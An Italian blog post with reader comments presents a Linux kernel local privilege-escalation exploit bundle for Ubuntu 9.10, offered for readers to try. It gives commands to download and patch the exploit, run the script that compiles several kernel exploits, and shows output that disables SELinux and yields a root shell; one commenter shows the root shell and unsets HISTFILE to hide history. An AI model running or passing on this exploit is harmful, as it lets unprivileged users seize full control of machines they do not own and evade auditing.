Categorie:

Translate:
Italiano flagInglese flagFrancese flagTedesco flagPortoghese flagSpagnolo flag

[Exploit]Privilege Escalation Kernel

Purtroppo anche linux a volte, è un po buggato :(


Pubblico questo exploit, dopo un mese della sua uscita per ovvie ragioni di sicurezza.

I sistemi afflitti da questo bug, sono i seguenti:

  • Ubuntu Ubuntu Linux 9.10 sparc
  • Ubuntu Ubuntu Linux 9.10 powerpc
  • Ubuntu Ubuntu Linux 9.10 lpia
  • Ubuntu Ubuntu Linux 9.10 i386

Continua lettura…
Eseguendo questo exploit, da utenti normali, potremo senza sapere la password di root aprirci una shell rootata.

Vediamo come provare questo exploit…
La prima cosa da fare è scaricare l’exploit.

wget http://www.clshack.it/nopaste/kernelRoot.tar.gz

tar xzvf kernelRoot.tar.gz

cd enlightenment

Ora eseguiamo il tutto:

sed -i '/turn_\(on\|off\)_wp();/d' exploit.c
./run_null_exploits.sh

Output:

Compiling exp_cheddarbay.c...OK.
Compiling exp_ingom0wnar.c...OK.
Compiling exp_moosecox.c...OK.
Compiling exp_paokara.c...OK.
Compiling exp_powerglove.c...OK.
Compiling exp_therebel.c...OK.
Compiling exp_vmware.c...failed.
Compiling exp_wunderbar.c...OK.
[+] MAPPED ZERO PAGE!
Choose your exploit:
[0] Cheddar Bay: Linux 2.6.30/2.6.30.1 /dev/net/tun local root
[1] MooseCox: Linux-2.X->Linux.2.6.31.unfixed pipe local root
[2] Paokara: Linux 2.6.19->2.6.31.1 eCryptfs local root
[3] Powerglove: Linux 2.6.31 perf_counter local root
[4] The Rebel: Linux < 2.6.19 udp_sendmsg() local root
[5] Wunderbar Emporium: Linux 2.X sendpage() local root
[6] Exit
> 5
------------------------------------------------------------------------------
The work of an intellectual is not to mould the political will of others; it
is, through the analyses that he does in his own field, to re-examine
evidence and assumptions, to shake up habitual ways of working and thinking,
to dissipate conventional familiarities, to re-evaluate rules and
institutions and to participate in the formation of a political will (where
he has his role as citizen to play). --Foucault
------------------------------------------------------------------------------
[+] Resolved security_ops to 0xffffffff8068d240
[+] Resolved sel_read_enforce to 0xffffffff803184fb
[+] got ring0!
[+] detected 2.6 style 8k stacks, with current at 0xffff88000b1d5040
[+] Disabled security of : SELinux
[+] Got root!

Ciao buon divertimento :D

Altri:

  1. [tutorial]Tool for Privilege Escalation
  2. [Virtual DOS]Exploit privilege escalation windows 2000/XP/VISTA/7/SERVER
  3. [Samba EXPLOIT]Symlink Traversal (guida metasploit)
  4. [guida]Oday-Exploit Adobe Reader: Hack di Windows con metasploit
  5. [Servizio]:Exploit Finder :)
You can leave a response, or trackback from your own site.

5 commenti a “[Exploit]Privilege Escalation Kernel”


  1. Andy scrive:

    Come sempre molto utile Alessio.
    Perciò il kernel 2.6.32 e .33 non è afflitto da questa vulnerabilità?



  2. Alessio scrive:

    no, cmq non da questa, ma da queste:

    [0] Cheddar Bay: Linux 2.6.30/2.6.30.1 /dev/net/tun local root
    [1] MooseCox: Linux-2.X->Linux.2.6.31.unfixed pipe local root
    [2] Paokara: Linux 2.6.19->2.6.31.1 eCryptfs local root
    [3] Powerglove: Linux 2.6.31 perf_counter local root
    [4] The Rebel: Linux < 2.6.19 udp_sendmsg() local root
    [5] Wunderbar Emporium: Linux 2.X sendpage() local root



  3. ov3rload scrive:

    Era già un po’ che girava! =°P



  4. vex scrive:

    [+] Disabled security of : nothing, what an insecure machine!
    [+] Got root!
    sh-3.2# unset HISTFILE;unset HISTSAVE
    sh-3.2# id
    uid=0(root) gid=0(root)

    vex:Grazie! ;)



  5. clshack scrive:

    @vex:

    Felice che tu sia root :D


Trackback e pingback

  1. Nessun trackback o pingback disponibile per questo articolo

Scrivi un commento